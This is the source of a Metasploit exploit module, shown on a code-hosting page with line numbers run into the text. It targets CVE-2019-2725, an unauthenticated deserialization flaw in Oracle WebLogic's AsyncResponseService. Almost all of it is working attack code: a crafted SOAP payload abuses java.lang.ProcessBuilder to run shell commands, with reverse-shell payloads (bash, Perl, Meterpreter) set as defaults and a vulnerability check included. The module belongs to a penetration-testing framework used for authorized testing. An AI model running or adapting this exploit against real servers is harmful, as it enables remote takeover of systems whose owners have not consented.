Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Powershell1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Oracle Weblogic Server Deserialization RCE - AsyncResponseService ',16'Description' => %q{17An unauthenticated attacker with network access to the Oracle Weblogic Server T318interface can send a malicious SOAP request to the interface WLS AsyncResponseService19to execute code on the vulnerable host.20},21'Author' => [22'Andres Rodriguez - 2Secure (@acamro) <acamro[at]gmail.com>', # Metasploit Module23],24'License' => MSF_LICENSE,25'References' => [26['CVE', '2019-2725'],27['URL', 'http://www.cnvd.org.cn/webinfo/show/4999'],28['URL', 'https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html'],29['URL', 'https://twitter.com/F5Labs/status/1120822404568244224']30],31'Privileged' => false,32'Platform' => %w[unix win solaris],33'Targets' => [34[35'Unix',36{37'Platform' => 'unix',38'Arch' => ARCH_CMD,39'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }40}41],42[43'Windows',44{45'Platform' => 'win',46'Arch' => [ARCH_X64, ARCH_X86],47'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }48}49],50[51'Solaris',52{53'Platform' => 'solaris',54'Arch' => ARCH_CMD,55'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },56'Payload' => {57'Space' => 2048,58'DisableNops' => true,59'Compat' =>60{61'PayloadType' => 'cmd',62'RequiredCmd' => 'generic perl telnet'63}64}65}66]67],68'DefaultTarget' => 0,69'DefaultOptions' => {70'WfsDelay' => 1271},72'DisclosureDate' => '2019-04-23',73'Notes' => {74'Stability' => [ CRASH_SAFE ],75'SideEffects' => [ IOC_IN_LOGS ],76'Reliability' => [ REPEATABLE_SESSION ]77}78)79)8081register_options(82[83Opt::RPORT(7001),84OptString.new('TARGETURI', [true, 'URL to AsyncResponseService', '/_async/AsyncResponseService'])85]86)87end8889def check90res = send_request_cgi(91'uri' => normalize_uri(target_uri.path),92'method' => 'POST',93'ctype' => 'text/xml',94'headers' => { 'SOAPAction' => '' }95)9697if res && res.code == 500 && res.body.include?('<faultcode>env:Client</faultcode>')98vprint_status("The target returned a vulnerable HTTP code: /#{res.code}")99vprint_status("The target returned a vulnerable HTTP error: /#{res.body.split("\n")[0]}")100Exploit::CheckCode::Vulnerable101elsif res && res.code != 202102vprint_status('The target returned a non-vulnerable HTTP code')103Exploit::CheckCode::Safe104elsif res.nil?105vprint_status('The target did not respond in an expected way')106Exploit::CheckCode::Unknown107else108vprint_status("The target returned HTTP code: #{res.code}")109vprint_status("The target returned HTTP body: #{res.body.split("\n")[0]} [...]")110Exploit::CheckCode::Unknown111end112end113114def exploit115print_status('Generating payload...')116case target.name117when 'Windows'118string0_cmd = 'cmd.exe'119string1_param = '/c'120shell_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encoded: false })121when 'Unix', 'Solaris'122string0_cmd = '/bin/bash'123string1_param = '-c'124shell_payload = payload.encoded125end126127random_action = rand_text_alphanumeric(20)128random_relates = rand_text_alphanumeric(20)129130soap_payload = %(<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/")131soap_payload << %(xmlns:wsa="http://www.w3.org/2005/08/addressing")132soap_payload << %(xmlns:asy="http://www.bea.com/async/AsyncResponseService">)133soap_payload << %(<soapenv:Header>)134soap_payload << %(<wsa:Action>#{random_action}</wsa:Action>)135soap_payload << %(<wsa:RelatesTo>#{random_relates}</wsa:RelatesTo>)136soap_payload << %(<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">)137soap_payload << %(<void class="java.lang.ProcessBuilder">)138soap_payload << %(<array class="java.lang.String" length="3">)139soap_payload << %(<void index="0">)140soap_payload << %(<string>#{string0_cmd}</string>)141soap_payload << %(</void>)142soap_payload << %(<void index="1">)143soap_payload << %(<string>#{string1_param}</string>)144soap_payload << %(</void>)145soap_payload << %(<void index="2">)146soap_payload << %(<string>#{shell_payload.encode(xml: :text)}</string>)147# soap_payload << %Q|<string>#{xml_encode(shell_payload)}</string>|148soap_payload << %(</void>)149soap_payload << %(</array>)150soap_payload << %(<void method="start"/>)151soap_payload << %(</void>)152soap_payload << %(</work:WorkContext>)153soap_payload << %(</soapenv:Header>)154soap_payload << %(<soapenv:Body>)155soap_payload << %(<asy:onAsyncDelivery/>)156soap_payload << %(</soapenv:Body>)157soap_payload << %(</soapenv:Envelope>)158159print_status('Sending payload...')160161begin162res = send_request_cgi(163'uri' => normalize_uri(target_uri.path),164'method' => 'POST',165'ctype' => 'text/xml',166'data' => soap_payload,167'headers' => { 'SOAPAction' => '' }168)169rescue Errno::ENOTCONN170fail_with(Failure::Disconnected, 'The target forcibly closed the connection, and is likely not vulnerable.')171end172173if res.nil?174fail_with(Failure::Unreachable, 'No response from host')175elsif res && res.code != 202176fail_with(Failure::UnexpectedReply, "Exploit failed. Host responded with HTTP code #{res.code} instead of HTTP code 202")177end178end179end180181182